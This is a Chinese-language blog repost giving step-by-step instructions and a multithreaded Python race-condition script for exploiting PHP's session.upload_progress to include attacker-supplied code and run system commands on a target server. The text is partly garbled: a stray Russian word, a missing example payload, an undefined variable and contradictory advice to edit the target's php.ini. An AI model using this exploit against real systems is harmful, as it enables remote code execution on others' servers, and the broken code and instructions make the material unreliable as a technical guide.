博客
关于我
利用session.upload_progress进行文件包含
阅读量:789 次
发布时间:2019-03-25

本文共 1756 字,大约阅读时间需要 5 分钟。

为了避开Web服务器的目录traversal防护,我们可以利用PHP会话上传功能进行条件竞争。以下是实现攻击的详细步骤:

  • 禁用自动清理会话文件

    • 修改php.ini,设置session.upload_progress.cleanup为0,这样在HTTP请求结束后不会自动删除会话文件。
  • 编写注入木马

    • 创建一个简单的PHP脚本,利用PHP_SESSION_UPLOAD_PROGRESS参数注入恶意代码。例如:
    • 将此脚本作为文件请求 отправ到目标服务器。
  • 自动化发送请求

    • 使用Python编写脚本,利用多线程和事件来发送大量请求,提高攻击成功率。例如:
      import io
      import requests
      import threading
      import time
      sessid = 'dummy_session'
      data = {
      'cmd': 'system("echo hello;")'
      }
      global event
      event = threading.Event()
      def write_session():
      while True:
      f = io.BytesIO()
      requests.post(
      'http://target.com/session.php',
      data={'PHP_SESSION_UPLOAD_PROGRESS': raw_input_evil_code},
      files={'file': ('malicious.php', f)},
      cookies={'PHPSESSID': sessid}
      )
      time.sleep(0.5)
      def read_response():
      while True:
      try:
      response = requests.post(
      'http://target.com/session.php?file=/some/path',
      data=data,
      cookies={'PHPSESSID': sessid}
      )
      if 'hello' in response.text:
      print("Injection successful!")
      event.clear()
      else:
      print("Trying again...")
      except:
      print("Error, retrying...")
      time.sleep(1)
      with requests.Session() as session:
      for _ in range(100):
      threading.Thread(target=write_session).start()
      for _ in range(100):
      threading.Thread(target=read_response).start()
      event.wait()
  • 处理异常并保持会话状态

    • 在多次尝试时,使用重试策略,如随机等待时间和指数重试,避免被服务器封锁。
    • 使用global变量或类似机制管理事件,确保攻击未完成时不提前停止。
  • 效果验证

    • 在目标服务器中查找新的会话文件。
    • 在响应中查找注入代码的执行结果,如确认木马成功执行的日志或终端输出。
  • 注意

    • 攻击行为可能触犯法律法规,请谨慎实施。
    • 了解服务器的防护机制,如IP封锁、速率限制等。
    • �.IT安全基础知识的缺口可能导致攻击失败,建议深入学习。

    通过以上步骤,可以尽量提高攻击的成功率,但仍需考虑目标服务器的安全措施和潜在的检测机制。

    转载地址:http://klouk.baihongyu.com/

    你可能感兴趣的文章
    Node.js官网无法正常访问时安装NodeJS的方法
    查看>>
    node.js模块、包
    查看>>
    node.js的express框架用法(一)
    查看>>
    Node.js的交互式解释器(REPL)
    查看>>
    Node.js的循环与异步问题
    查看>>
    Node.js高级编程:用Javascript构建可伸缩应用(1)1.1 介绍和安装-安装Node
    查看>>
    nodejs + socket.io 同时使用http 和 https
    查看>>
    NodeJS @kubernetes/client-node连接到kubernetes集群的方法
    查看>>
    NodeJS API简介
    查看>>
    Nodejs express 获取url参数,post参数的三种方式
    查看>>
    nodejs http小爬虫
    查看>>
    nodejs libararies
    查看>>
    nodejs npm常用命令
    查看>>
    nodejs npm常用命令
    查看>>
    Nodejs process.nextTick() 使用详解
    查看>>
    NodeJS yarn 或 npm如何切换淘宝或国外镜像源
    查看>>
    nodejs 中间件理解
    查看>>
    nodejs 创建HTTP服务器详解
    查看>>
    nodejs 发起 GET 请求示例和 POST 请求示例
    查看>>
    NodeJS 导入导出模块的方法( 代码演示 )
    查看>>